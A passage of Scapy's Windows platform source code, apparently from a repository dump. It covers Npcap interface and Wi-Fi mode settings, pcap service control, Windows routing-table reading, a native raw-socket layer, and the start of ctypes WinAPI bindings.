wfd_device: The Wi-Fi Direct Device operation mode\n              (supported from Windows 8 and later)\n        - 4 or wfd_owner: The Wi-Fi Direct Group Owner operation mode\n              (supported from Windows 8 and later)\n        - 5 or wfd_client: The Wi-Fi Direct Client operation mode\n              (supported from Windows 8 and later)\n        Only available with Npcap.\"\"\"\n        # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11  # noqa: E501\n        self._check_npcap_requirement()\n        _modes = {\n            0: \"managed\",\n            1: \"monitor\",\n            2: \"master\",\n            3: \"wfd_device\",\n            4: \"wfd_owner\",\n            5: \"wfd_client\"\n        }\n        m = _modes.get(mode, \"unknown\") if isinstance(mode, int) else mode\n        return self._npcap_set(\"mode\", m)\n\n    def channel(self):\n        # type: () -> int\n        \"\"\"Get the channel of the interface.\n        Only available with Npcap.\"\"\"\n        # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11  # noqa: E501\n        self._check_npcap_requirement()\n        return int(self._npcap_get(\"channel\"))\n\n    def setchannel(self, channel):\n        # type: (int) -> bool\n        \"\"\"Set the channel of the interface (1-14):\n        Only available with Npcap.\"\"\"\n        # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11  # noqa: E501\n        self._check_npcap_requirement()\n        return self._npcap_set(\"channel\", str(channel))\n\n    def frequency(self):\n        # type: () -> int\n        \"\"\"Get the frequency of the interface.\n        Only available with Npcap.\"\"\"\n        # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11  # noqa: E501\n        self._check_npcap_requirement()\n        return int(self._npcap_get(\"freq\"))\n\n    def setfrequency(self, freq):\n        # type: (int) -> bool\n        \"\"\"Set the channel of the interface (1-14):\n        Only available with Npcap.\"\"\"\n        # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11  # noqa: E501\n        self._check_npcap_requirement()\n        return self._npcap_set(\"freq\", str(freq))\n\n    def availablemodulations(self):\n        # type: () -> List[str]\n        \"\"\"Get all available 802.11 interface modulations.\n        Only available with Npcap.\"\"\"\n        # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11  # noqa: E501\n        self._check_npcap_requirement()\n        return self._npcap_get(\"modus\").split(\",\")\n\n    def modulation(self):\n        # type: () -> str\n        \"\"\"Get the 802.11 modulation of the interface.\n        Only available with Npcap.\"\"\"\n        # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11  # noqa: E501\n        self._check_npcap_requirement()\n        return self._npcap_get(\"modu\")\n\n    def setmodulation(self, modu):\n        # type: (int) -> bool\n        \"\"\"Set the interface modulation. It can be:\n           - 0: dsss\n           - 1: fhss\n           - 2: irbaseband\n           - 3: ofdm\n           - 4: hrdss\n           - 5: erp\n           - 6: ht\n           - 7: vht\n           - 8: ihv\n           - 9: mimo-ofdm\n           - 10: mimo-ofdm\n           - the value directly\n        Only available with Npcap.\"\"\"\n        # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11  # noqa: E501\n        self._check_npcap_requirement()\n        _modus = {\n            0: \"dsss\",\n            1: \"fhss\",\n            2: \"irbaseband\",\n            3: \"ofdm\",\n            4: \"hrdss\",\n            5: \"erp\",\n            6: \"ht\",\n            7: \"vht\",\n            8: \"ihv\",\n            9: \"mimo-ofdm\",\n            10: \"mimo-ofdm\",\n        }\n        m = _modus.get(modu, \"unknown\") if isinstance(modu, int) else modu\n        return self._npcap_set(\"modu\", str(m))\n\n\nclass WindowsInterfacesProvider(InterfaceProvider):\n    name = \"libpcap\"\n    libpcap = True\n\n    def _is_valid(self, dev):\n        # type: (NetworkInterface) -> bool\n        # Winpcap (and old Npcap) have no support for PCAP_IF_UP :(\n        if dev.flags == 0:\n            return True\n        return bool(dev.flags & PCAP_IF_UP)\n\n    @classmethod\n    def _pcap_check(cls):\n        # type: () -> None\n        \"\"\"Performs checks/restart pcap adapter\"\"\"\n        if not conf.use_pcap:\n            # Winpcap/Npcap isn't installed\n            return\n\n        _detect = pcap_service_status()\n\n        def _ask_user():\n            # type: () -> bool\n            if not conf.interactive:\n                return False\n            msg = \"Do you want to start it ? (yes/no) [y]: \"\n            try:\n                # Better IPython compatibility\n                import IPython\n                return cast(bool, IPython.utils.io.ask_yes_no(msg, default='y'))\n            except (NameError, ImportError):\n                while True:\n                    _confir = input(msg)\n                    _confir = _confir.lower().strip()\n                    if _confir in [\"yes\", \"y\", \"\"]:\n                        return True\n                    elif _confir in [\"no\", \"n\"]:\n                        return False\n        if _detect:\n            # No action needed\n            return\n        else:\n            log_interactive.warning(\n                \"Scapy has detected that your pcap service is not running !\"\n            )\n            if not conf.interactive or _ask_user():\n                succeed = pcap_service_start(askadmin=conf.interactive)\n                if succeed:\n                    log_loading.info(\"Pcap service started !\")\n                    return\n        log_loading.warning(\n            \"Could not start the pcap service! \"\n            \"You probably won't be able to send packets. \"\n            \"Check your winpcap/npcap installation \"\n            \"and access rights.\"\n        )\n\n    def load(self, NetworkInterface_Win=NetworkInterface_Win):\n        # type: (type) -> Dict[str, NetworkInterface]\n        results = {}\n        if not conf.cache_pcapiflist:\n            # Try a restart\n            WindowsInterfacesProvider._pcap_check()\n\n        legacy_npcap_guid = None\n        windows_interfaces = dict()\n        for i in get_windows_if_list():\n            # Only consider interfaces with a GUID\n            if i['guid']:\n                if conf.use_npcap:\n                    # Detect the legacy Loopback interface\n                    if i['name'] == NPCAP_LOOPBACK_NAME_LEGACY:\n                        # Legacy Npcap (<0.9983)\n                        legacy_npcap_guid = i['guid']\n                    elif \"Loopback\" in i['name']:\n                        # Newer Npcap\n                        i['guid'] = conf.loopback_name\n                # Map interface\n                windows_interfaces[i['guid']] = i\n\n        def iterinterfaces() -> Iterator[\n            Tuple[str, Optional[str], List[str], int, str, Optional[Dict[str, Any]]]\n        ]:\n            if conf.use_pcap:\n                # We have a libpcap provider: enrich pcap interfaces with\n                # Windows data\n                for netw, if_data in conf.cache_pcapiflist.items():\n                    name, ips, flags, _, _ = if_data\n                    guid = _pcapname_to_guid(netw)\n                    if guid == legacy_npcap_guid:\n                        # Legacy Npcap detected !\n                        conf.loopback_name = netw\n                    data = windows_interfaces.get(guid, None)\n                    yield netw, name, ips, flags, guid, data\n            else:\n                # We don't have a libpcap provider: only use Windows data\n                for guid, data in windows_interfaces.items():\n                    netw = r'\\Device\\NPF_' + guid if guid[0] != '\\\\' else guid\n                    yield netw, None, [], 0, guid, data\n\n        index = 0\n        for netw, name, ips, flags, guid, data in iterinterfaces():\n            if data:\n                # Exists in Windows registry\n                data['network_name'] = netw\n                data['ips'] = list(set(data['ips'] + ips))\n                data['flags'] = flags\n            else:\n                # Only in [Wi]npcap\n                index -= 1\n                data = {\n                    'name': name,\n                    'description': name,\n                    'index': index,\n                    'guid': guid,\n                    'network_name': netw,\n                    'mac': '00:00:00:00:00:00',\n                    'ipv4_metric': 0,\n                    'ipv6_metric': 0,\n                    'ips': ips,\n                    'flags': flags,\n                    'nameservers': [],\n                }\n            # No KeyError will happen here, as we get it from cache\n            results[netw] = NetworkInterface_Win(self, data)\n        return results\n\n    def reload(self):\n        # type: () -> Dict[str, NetworkInterface]\n        \"\"\"Reload interface list\"\"\"\n        self.restarted_adapter = False\n        if conf.use_pcap:\n            # Reload from Winpcapy\n            from scapy.arch.libpcap import load_winpcapy\n            load_winpcapy()\n        return self.load()\n\n    def _l3socket(self, dev, ipv6):\n        # type: (NetworkInterface, bool) -> Type[SuperSocket]\n        \"\"\"Return L3 socket used by interfaces of this provider\"\"\"\n        if ipv6:\n            return conf.L3socket6\n        else:\n            return conf.L3socket\n\n\n# Register provider\nconf.ifaces.register_provider(WindowsInterfacesProvider)\n\n\ndef get_ips(v6=False):\n    # type: (bool) -> Dict[NetworkInterface, List[str]]\n    \"\"\"Returns all available IPs matching to interfaces, using the windows system.\n    Should only be used as a WinPcapy fallback.\n\n    :param v6: IPv6 addresses\n    \"\"\"\n    res = {}\n    for iface in conf.ifaces.values():\n        if v6:\n            res[iface] = iface.ips[6]\n        else:\n            res[iface] = iface.ips[4]\n    return res\n\n\ndef get_ip_from_name(ifname, v6=False):\n    # type: (str, bool) -> str\n    \"\"\"Backward compatibility: indirectly calls get_ips\n    Deprecated.\n    \"\"\"\n    warnings.warn(\n        \"get_ip_from_name is deprecated. Use the `ip` attribute of the iface \"\n        \"or use get_ips() to get all ips per interface.\",\n        DeprecationWarning\n    )\n    iface = conf.ifaces.dev_from_name(ifname)\n    return get_ips(v6=v6).get(iface, [\"\"])[0]\n\n\ndef pcap_service_name():\n    # type: () -> str\n    \"\"\"Return the pcap adapter service's name\"\"\"\n    return \"npcap\" if conf.use_npcap else \"npf\"\n\n\ndef pcap_service_status():\n    # type: () -> bool\n    \"\"\"Returns whether the windows pcap adapter is running or not\"\"\"\n    status = get_service_status(pcap_service_name())\n    return status[\"dwCurrentState\"] == 4\n\n\ndef _pcap_service_control(action, askadmin=True):\n    # type: (str, bool) -> bool\n    \"\"\"Internal util to run pcap control command\"\"\"\n    command = action + ' ' + pcap_service_name()\n    res, code = _exec_cmd(_encapsulate_admin(command) if askadmin else command)\n    if code != 0:\n        warning(res.decode(\"utf8\", errors=\"ignore\"))\n    return (code == 0)\n\n\ndef pcap_service_start(askadmin=True):\n    # type: (bool) -> bool\n    \"\"\"Starts the pcap adapter. Will ask for admin. Returns True if success\"\"\"\n    return _pcap_service_control('sc start', askadmin=askadmin)\n\n\ndef pcap_service_stop(askadmin=True):\n    # type: (bool) -> bool\n    \"\"\"Stops the pcap adapter. Will ask for admin. Returns True if success\"\"\"\n    return _pcap_service_control('sc stop', askadmin=askadmin)\n\n\nif conf.use_pcap:\n    _orig_open_pcap = libpcap.open_pcap\n\n    def open_pcap(device,  # type: Union[str, NetworkInterface]\n                  *args,  # type: Any\n                  **kargs  # type: Any\n                  ):\n        # type: (...) -> libpcap._PcapWrapper_libpcap\n        \"\"\"open_pcap: Windows routine for creating a pcap from an interface.\n        This function is also responsible for detecting monitor mode.\n        \"\"\"\n        iface = cast(NetworkInterface_Win, resolve_iface(device))\n        iface_network_name = iface.network_name\n        if not iface:\n            raise Scapy_Exception(\n                \"Interface is invalid (no pcap match found)!\"\n            )\n        # Only check monitor mode when manually specified.\n        # Checking/setting for monitor mode will slow down the process, and the\n        # common is case is not to use monitor mode\n        kw_monitor = kargs.get(\"monitor\", None)\n        if conf.use_npcap and kw_monitor is not None:\n            monitored = iface.ismonitor()\n            if kw_monitor is not monitored:\n                # The monitor param is specified, and not matching the current\n                # interface state\n                iface.setmonitor(kw_monitor)\n        return _orig_open_pcap(iface_network_name, *args, **kargs)\n    libpcap.open_pcap = open_pcap  # type: ignore\n\n\ndef _read_routes_c_v1():\n    # type: () -> List[Tuple[int, int, str, str, str, int]]\n    \"\"\"Retrieve Windows routes through a GetIpForwardTable call.\n\n    This is compatible with XP but won't get IPv6 routes.\"\"\"\n    def _extract_ip(obj):\n        # type: (int) -> str\n        return inet_ntop(socket.AF_INET, struct.pack(\"<I\", obj))\n\n    def _proc(ip):\n        # type: (int) -> int\n        if WINDOWS_XP:\n            return struct.unpack(\"<I\", struct.pack(\">I\", ip))[0]\n        return ip\n    routes = []\n    for route in GetIpForwardTable():\n        ifIndex = route['ForwardIfIndex']\n        dest = _proc(route['ForwardDest'])\n        netmask = _proc(route['ForwardMask'])\n        nexthop = _extract_ip(route['ForwardNextHop'])\n        metric = route['ForwardMetric1']\n        # Build route\n        try:\n            iface = cast(NetworkInterface_Win, dev_from_index(ifIndex))\n            if not iface.ip or iface.ip == \"0.0.0.0\":\n                continue\n        except ValueError:\n            continue\n        ip = iface.ip\n        netw = network_name(iface)\n        # RouteMetric + InterfaceMetric\n        metric = metric + iface.ipv4_metric\n        routes.append((dest, netmask, nexthop, netw, ip, metric))\n    return routes\n\n\n@overload\ndef _read_routes_c(ipv6):  # noqa: F811\n    # type: (Literal[True]) -> List[Tuple[str, int, str, str, List[str], int]]\n    pass\n\n\n@overload\ndef _read_routes_c(ipv6=False):  # noqa: F811\n    # type: (Literal[False]) -> List[Tuple[int, int, str, str, str, int]]\n    pass\n\n\ndef _read_routes_c(ipv6=False):  # noqa: F811\n    # type: (bool) -> Union[List[Tuple[int, int, str, str, str, int]], List[Tuple[str, int, str, str, List[str], int]]]  # noqa: E501\n    \"\"\"Retrieve Windows routes through a GetIpForwardTable2 call.\n\n    This is not available on Windows XP !\"\"\"\n    af = socket.AF_INET6 if ipv6 else socket.AF_INET\n    sock_addr_name = 'Ipv6' if ipv6 else 'Ipv4'\n    sin_addr_name = 'sin6_addr' if ipv6 else 'sin_addr'\n    metric_name = 'ipv6_metric' if ipv6 else 'ipv4_metric'\n    if ipv6:\n        lifaddr = in6_getifaddr()\n    routes = []  # type: List[Any]\n\n    def _extract_ip(obj):\n        # type: (Dict[str, Any]) -> str\n        ip = obj[sock_addr_name][sin_addr_name]\n        ip = bytes(bytearray(ip['byte']))\n        # Build IP\n        return inet_ntop(af, ip)\n\n    for route in GetIpForwardTable2(af):\n        # Extract data\n        ifIndex = route['InterfaceIndex']\n        dest = _extract_ip(route['DestinationPrefix']['Prefix'])\n        netmask = route['DestinationPrefix']['PrefixLength']\n        nexthop = _extract_ip(route['NextHop'])\n        metric = route['Metric']\n        # Build route\n        try:\n            iface = dev_from_index(ifIndex)\n            if not iface.ip or iface.ip == \"0.0.0.0\":\n                continue\n        except ValueError:\n            continue\n        ip = iface.ip\n        netw = network_name(iface)\n        # RouteMetric + InterfaceMetric\n        metric = metric + getattr(iface, metric_name)\n        if ipv6:\n            _append_route6(routes, dest, netmask, nexthop,\n                           netw, lifaddr, metric)\n        else:\n            routes.append((atol(dest), itom(int(netmask)),\n                           nexthop, netw, ip, metric))\n    return routes\n\n\ndef read_routes():\n    # type: () -> List[Tuple[int, int, str, str, str, int]]\n    routes = []\n    try:\n        if WINDOWS_XP:\n            routes = _read_routes_c_v1()\n        else:\n            routes = _read_routes_c(ipv6=False)\n    except Exception as e:\n        log_loading.warning(\"Error building scapy IPv4 routing table : %s\", e)\n    return routes\n\n\n############\n#   IPv6   #\n############\n\n\ndef in6_getifaddr():\n    # type: () -> List[Tuple[str, int, str]]\n    \"\"\"\n    Returns all IPv6 addresses found on the computer\n    \"\"\"\n    ifaddrs = []  # type: List[Tuple[str, int, str]]\n    ip6s = get_ips(v6=True)\n    for iface, ips in ip6s.items():\n        for ip in ips:\n            scope = in6_getscope(ip)\n            ifaddrs.append((ip, scope, iface.network_name))\n    # Appends Npcap loopback if available\n    if conf.use_npcap and conf.loopback_name:\n        ifaddrs.append((\"::1\", 0, conf.loopback_name))\n    return ifaddrs\n\n\ndef _append_route6(routes,  # type: List[Tuple[str, int, str, str, List[str], int]]\n                   dpref,  # type: str\n                   dp,  # type: int\n                   nh,  # type: str\n                   iface,  # type: str\n                   lifaddr,  # type: List[Tuple[str, int, str]]\n                   metric,  # type: int\n                   ):\n    # type: (...) -> None\n    cset = []  # candidate set (possible source addresses)\n    if iface == conf.loopback_name:\n        if dpref == '::':\n            return\n        cset = ['::1']\n    else:\n        devaddrs = (x for x in lifaddr if x[2] == iface)\n        cset = construct_source_candidate_set(dpref, dp, devaddrs)\n    if not cset:\n        return\n    # APPEND (DESTINATION, NETMASK, NEXT HOP, IFACE, CANDIDATES, METRIC)\n    routes.append((dpref, dp, nh, iface, cset, metric))\n\n\ndef read_routes6():\n    # type: () -> List[Tuple[str, int, str, str, List[str], int]]\n    routes6 = []\n    if WINDOWS_XP:\n        return routes6\n    try:\n        routes6 = _read_routes_c(ipv6=True)\n    except Exception as e:\n        log_loading.warning(\"Error building scapy IPv6 routing table : %s\", e)\n    return routes6\n\n\ndef _route_add_loopback(routes=None,  # type: Optional[List[Any]]\n                        ipv6=False,  # type: bool\n                        iflist=None,  # type: Optional[List[str]]\n                        ):\n    # type: (...) -> None\n    \"\"\"Add a route to 127.0.0.1 and ::1 to simplify unit tests on Windows\"\"\"\n    if not WINDOWS:\n        warning(\"Calling _route_add_loopback is only valid on Windows\")\n        return\n    warning(\"This will completely mess up the routes. Testing purpose only !\")\n    # Add only if some adapters already exist\n    if ipv6:\n        if not conf.route6.routes:\n            return\n    else:\n        if not conf.route.routes:\n            return\n    conf.ifaces._add_fake_iface(conf.loopback_name)\n    adapter = conf.ifaces.dev_from_name(conf.loopback_name)\n    if iflist:\n        iflist.append(adapter.network_name)\n        return\n    # Remove all conf.loopback_name routes\n    for route in list(conf.route.routes):\n        iface = route[3]\n        if iface == conf.loopback_name:\n            conf.route.routes.remove(route)\n    # Remove conf.loopback_name interface\n    for devname, ifname in list(conf.ifaces.items()):\n        if ifname == conf.loopback_name:\n            conf.ifaces.pop(devname)\n    # Inject interface\n    conf.ifaces[r\"\\Device\\NPF_{0XX00000-X000-0X0X-X00X-00XXXX000XXX}\"] = adapter\n    conf.loopback_name = adapter.network_name\n    if isinstance(conf.iface, NetworkInterface):\n        if conf.iface.network_name == conf.loopback_name:\n            conf.iface = adapter\n    conf.netcache.arp_cache[\"127.0.0.1\"] = \"ff:ff:ff:ff:ff:ff\"  # type: ignore\n    conf.netcache.in6_neighbor[\"::1\"] = \"ff:ff:ff:ff:ff:ff\"  # type: ignore\n    # Build the packed network addresses\n    loop_net = struct.unpack(\"!I\", socket.inet_aton(\"127.0.0.0\"))[0]\n    loop_mask = struct.unpack(\"!I\", socket.inet_aton(\"255.0.0.0\"))[0]\n    # Build the fake routes\n    loopback_route = (\n        loop_net,\n        loop_mask,\n        \"0.0.0.0\",\n        adapter.network_name,\n        \"127.0.0.1\",\n        1\n    )\n    loopback_route6 = ('::1', 128, '::', adapter.network_name, [\"::1\"], 1)\n    loopback_route6_custom = (\"fe80::\", 128, \"::\", adapter.network_name, [\"::1\"], 1)\n    if routes is None:\n        # Injection\n        conf.route6.routes.append(loopback_route6)\n        conf.route6.routes.append(loopback_route6_custom)\n        conf.route.routes.append(loopback_route)\n        # Flush the caches\n        conf.route6.invalidate_cache()\n        conf.route.invalidate_cache()\n    else:\n        if ipv6:\n            routes.append(loopback_route6)\n            routes.append(loopback_route6_custom)\n        else:\n            routes.append(loopback_route)\n\n\nclass _NotAvailableSocket(SuperSocket):\n    desc = \"wpcap.dll missing\"\n\n    def __init__(self, *args, **kargs):\n        # type: (*Any, **Any) -> None\n        raise RuntimeError(\n            \"Sniffing and sending packets is not available at layer 2: \"\n            \"winpcap is not installed. You may use conf.L3socket or \"\n            \"conf.L3socket6 to access layer 3\"\n        )\n\n\n#######\n# DNS #\n#######\n\ndef read_nameservers() -> List[str]:\n    \"\"\"Return the nameservers configured by the OS (on the default interface)\n    \"\"\"\n    # Windows has support for different DNS servers on each network interface,\n    # but to be cross-platform we only return the servers for the default one.\n    if isinstance(conf.iface, NetworkInterface_Win):\n        return conf.iface.nameservers\n    else:\n        return []\n"
  },
  {
    "path": "scapy/arch/windows/native.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter <gabriel[]potter[]fr>\n\n\"\"\"\nNative Microsoft Windows sockets (L3 only)\n\nThis uses Raw Sockets from winsock\nhttps://learn.microsoft.com/en-us/windows/win32/winsock/tcp-ip-raw-sockets-2\n\n.. note::\n\n    Don't use this module.\n    It is a proof of concept, and a worse-case-scenario failover, but you should\n    consider that raw sockets on Windows don't work and install Npcap to avoid using\n    it at all cost.\n\"\"\"\n\nimport io\nimport socket\nimport struct\nimport time\n\nfrom scapy.automaton import select_objects\nfrom scapy.compat import raw\nfrom scapy.config import conf\nfrom scapy.data import MTU\nfrom scapy.error import Scapy_Exception, log_runtime\nfrom scapy.packet import Packet\nfrom scapy.interfaces import resolve_iface, _GlobInterfaceType\nfrom scapy.supersocket import SuperSocket\n\n# Typing imports\nfrom typing import (\n    Any,\n    List,\n    Optional,\n    Tuple,\n    Type,\n)\n\n# Watch out for import loops (inet...)\n\n\nclass L3WinSocket(SuperSocket):\n    \"\"\"\n    A L3 raw socket implementation native to Windows.\n\n    Official \"Windows Limitations\" from MSDN:\n        - TCP data cannot be sent over raw sockets.\n        - UDP datagrams with an invalid source address cannot be sent over raw sockets.\n        - For IPv6 (address family of AF_INET6), an application receives everything\n          after the last IPv6 header in each received datagram [...]. The application\n          does not receive any IPv6 headers using a raw socket.\n\n    Unofficial limitations:\n        - Turns out we actually don't see any incoming TCP data, only the outgoing.\n          We do properly see UDP, ICMP, etc. both ways though.\n        - To match IPv6 responses, one must use `conf.checkIPaddr = False` as we can't\n          get the real destination.\n\n    **To overcome those limitations, install Npcap.**\n    \"\"\"\n    desc = \"a native Layer 3 (IPv4) raw socket under Windows\"\n    nonblocking_socket = True\n    __selectable_force_select__ = True  # see automaton.py\n    __slots__ = [\"promisc\", \"cls\", \"ipv6\"]\n\n    def __init__(self,\n                 iface=None,  # type: Optional[_GlobInterfaceType]\n                 ttl=128,  # type: int\n                 ipv6=False,  # type: bool\n                 promisc=True,  # type: bool\n                 **kwargs  # type: Any\n                 ):\n        # type: (...) -> None\n        from scapy.layers.inet import IP\n        from scapy.layers.inet6 import IPv6\n        for kwarg in kwargs:\n            log_runtime.warning(\"Dropping unsupported option: %s\" % kwarg)\n        self.iface = iface and resolve_iface(iface) or conf.iface\n        if not self.iface.is_valid():\n            log_runtime.warning(\"Interface is invalid. This will fail.\")\n        af = socket.AF_INET6 if ipv6 else socket.AF_INET\n        self.ipv6 = ipv6\n        self.cls = IPv6 if ipv6 else IP\n        # Promisc\n        if promisc is None:\n            promisc = conf.sniff_promisc\n        self.promisc = promisc\n        # Notes:\n        # - IPPROTO_RAW is broken. We don't use it.\n        # - IPPROTO_IPV6 exists in MSDN docs, but using it will result in\n        # no packets being received. Same for its options (IPV6_HDRINCL...)\n        # However, using IPPROTO_IP with AF_INET6 will still receive\n        # the IPv6 packets\n        try:\n            # Listening on AF_INET6 IPPROTO_IPV6 is broken. Use IPPROTO_IP\n            self.outs = self.ins = socket.socket(\n                af,\n                socket.SOCK_RAW,\n                socket.IPPROTO_IP,\n            )\n        except OSError as e:\n            if e.errno == 13:\n                raise OSError(\"Windows native L3 Raw sockets are only \"\n                              \"usable as administrator ! \"\n                              \"Please install Npcap to workaround !\")\n            raise\n        self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)\n        self.outs.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 2**30)\n        # set TTL\n        self.ins.setsockopt(socket.IPPROTO_IP, socket.IP_TTL, ttl)\n        # Get as much data as possible: reduce what is cropped\n        if ipv6:\n            # IPV6_HDRINCL is broken. Use IP_HDRINCL even on IPv6\n            self.outs.setsockopt(socket.IPPROTO_IPV6, socket.IP_HDRINCL, 1)\n            try:  # Not all Windows versions\n                self.ins.setsockopt(socket.IPPROTO_IPV6,\n                                    socket.IPV6_RECVTCLASS, 1)\n                self.ins.setsockopt(socket.IPPROTO_IPV6,\n                                    socket.IPV6_HOPLIMIT, 1)\n            except (OSError, socket.error):\n                pass\n        else:\n            # IOCTL Include IP headers\n            self.ins.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)\n            try:  # Not Windows XP\n                self.ins.setsockopt(socket.IPPROTO_IP,\n                                    socket.IP_RECVDSTADDR, 1)\n            except (OSError, socket.error):\n                pass\n            try:  # Windows 10+ recent builds only\n                self.ins.setsockopt(\n                    socket.IPPROTO_IP,\n                    socket.IP_RECVTTL,  # type: ignore\n                    1\n                )\n            except (OSError, socket.error):\n                pass\n        # Bind on all ports\n        if ipv6:\n            from scapy.arch import get_if_addr6\n            host = get_if_addr6(self.iface)\n        else:\n            from scapy.arch import get_if_addr\n            host = get_if_addr(self.iface)\n        self.ins.bind((host or socket.gethostname(), 0))\n        # self.ins.setblocking(False)\n        # Set promisc\n        if promisc:\n            # IOCTL Receive all packets\n            self.ins.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)\n\n    def send(self, x):\n        # type: (Packet) -> int\n        data = raw(x)\n        if self.cls not in x:\n            raise Scapy_Exception(\"L3WinSocket can only send IP/IPv6 packets !\"\n                                  \" Install Npcap/Winpcap to send more\")\n        from scapy.layers.inet import TCP\n        if TCP in x:\n            raise Scapy_Exception(\n                \"'TCP data cannot be sent over raw socket': \"\n                \"https://learn.microsoft.com/en-us/windows/win32/winsock/tcp-ip-raw-sockets-2\"  # noqa: E501\n            )\n        if not self.outs:\n            raise Scapy_Exception(\"Socket not created\")\n        dst_ip = str(x[self.cls].dst)\n        return self.outs.sendto(data, (dst_ip, 0))\n\n    def nonblock_recv(self, x=MTU):\n        # type: (int) -> Optional[Packet]\n        try:\n            return self.recv()\n        except IOError:\n            return None\n\n    # https://docs.microsoft.com/en-us/windows/desktop/winsock/tcp-ip-raw-sockets-2  # noqa: E501\n    # - For IPv4 (address family of AF_INET), an application receives the IP\n    # header at the front of each received datagram regardless of the\n    # IP_HDRINCL socket option.\n    # - For IPv6 (address family of AF_INET6), an application receives\n    # everything after the last IPv6 header in each received datagram\n    # regardless of the IPV6_HDRINCL socket option. The application does\n    # not receive any IPv6 headers using a raw socket.\n\n    def recv_raw(self, x=MTU):\n        # type: (int) -> Tuple[Type[Packet], bytes, float]\n        try:\n            data, address = self.ins.recvfrom(x)\n        except io.BlockingIOError:\n            return None, None, None  # type: ignore\n        if self.ipv6:\n            from scapy.layers.inet6 import IPv6\n            # AF_INET6 does not return the IPv6 header. Let's build it\n            # (host, port, flowinfo, scopeid)\n            host, _, flowinfo, _ = address\n            # We have to guess what the proto is. Ugly heuristics ahead :(\n            # Waiting for https://github.com/python/cpython/issues/80398\n            if len(data) > 6 and struct.unpack(\"!H\", data[4:6])[0] == len(data):\n                proto = socket.IPPROTO_UDP\n            elif data and data[0] in range(128, 138):  # ugh\n                proto = socket.IPPROTO_ICMPV6\n            else:\n                proto = socket.IPPROTO_TCP\n            header = raw(\n                IPv6(\n                    src=host,\n                    dst=\"::\",\n                    fl=flowinfo,\n                    nh=proto or 0xFF,\n                    plen=len(data)\n                )\n            )\n            return IPv6, header + data, time.time()\n        else:\n            from scapy.layers.inet import IP\n            return IP, data, time.time()\n\n    def close(self):\n        # type: () -> None\n        if not self.closed and self.promisc and hasattr(self, 'ins'):\n            self.ins.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)\n        super(L3WinSocket, self).close()\n\n    @staticmethod\n    def select(sockets, remain=None):\n        # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket]\n        return select_objects(sockets, remain)\n\n\nclass L3WinSocket6(L3WinSocket):\n    desc = \"a native Layer 3 (IPv6) raw socket under Windows\"\n\n    def __init__(self, **kwargs):\n        # type: (**Any) -> None\n        super(L3WinSocket6, self).__init__(\n            ipv6=True,\n            **kwargs,\n        )\n"
  },
  {
    "path": "scapy/arch/windows/structures.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter <gabriel[]potter[]fr>\n\n# flake8: noqa E266\n# (We keep comment boxes, it's then one-line comments)\n\n\"\"\"\nC API calls to Windows DLLs\n\"\"\"\n\nimport ctypes\nimport ctypes.wintypes\nfrom ctypes import (\n    POINTER,\n    Structure,\n    WINFUNCTYPE,\n    byref,\n    create_string_buffer,\n)\nfrom socket import AddressFamily\n\nfrom scapy.config import conf\nfrom scapy.consts import WINDOWS_XP\nfrom scapy.data import MTU\n\n# Typing imports\nfrom typing import (\n    Any,\n    Dict,\n    IO,\n    List,\n    Optional,\n    Tuple,\n)\n\nANY_SIZE = 65500  # FIXME quite inefficient :/\nNO_ERROR = 0x0\n\nCHAR = ctypes.c_char\nDWORD = ctypes.wintypes.DWORD\nBOOL = ctypes.wintypes.BOOL\nBOOLEAN = ctypes.wintypes.BOOLEAN\nULONG = ctypes.wintypes.ULONG\nULONGLONG = ctypes.c_ulonglong\nHANDLE = ctypes.wintypes.HANDLE\nLPVOID = ctypes.wintypes.LPVOID\nLPWSTR = ctypes.wintypes.LPWSTR\nVOID = ctypes.c_void_p\nINT = ctypes.c_int\nUINT = ctypes.wintypes.UINT\nUINT8 = ctypes.c_uint8\nUINT16 = ctypes.c_uint16\nUINT32 = ctypes.c_uint32\nUINT64 = ctypes.c_uint64\nBYTE = ctypes.c_byte\nUCHAR = UBYTE = ctypes.c_ubyte\nSHORT = ctypes.c_short\nUSHORT = ctypes.c_ushort\n\n\n# UTILS\n\n\ndef _resolve_list(list_obj):\n    # type: (Any) -> List[Dict[str, Any]]\n    current = list_obj\n    _list = []\n    while current and hasattr(current, \"contents\"):\n        _list.append(_struct_to_dict(current.contents))\n        current = current.contents.next\n    return _list\n\n\ndef _struct_to_dict(struct_obj):\n    # type: (Any) -> Dict[str, Any]\n    results = {}  # type: Dict[str, Any]\n    for fname, ctype in struct_obj.__class__._fields_:\n        val = getattr(struct_obj, fname)\n        if fname == \"next\":\n            # Already covered by the trick below\n            continue\n        if issubclass(ctype, (Structure, ctypes.Union)):\n            results[fname] = _struct_to_dict(val)\n        elif val and hasattr(val, \"contents\"):\n            # Let's resolve recursive pointers\n            if hasattr(val.contents, \"next\"):\n                results[fname] = _resolve_list(val)\n            else:\n                results[fname] = val\n        else:\n            results[fname] = val\n    return results\n\n##############################\n####### WinAPI handles #######\n##############################\n\n_winapi_SetConsoleTitle = ctypes.windll.kernel32.SetConsoleTitleW\n_winapi_SetConsoleTitle.restype = BOOL\n_winapi_SetConsoleTitle.argtypes = [LPWSTR]\n\ndef _windows_title(title=None):\n    # type: (Optional[str]) -> None\n    \"\"\"\n    Updates the terminal title with the default one or with `title`\n    if provided.\n    \"\"\"\n    if conf.interactive:\n        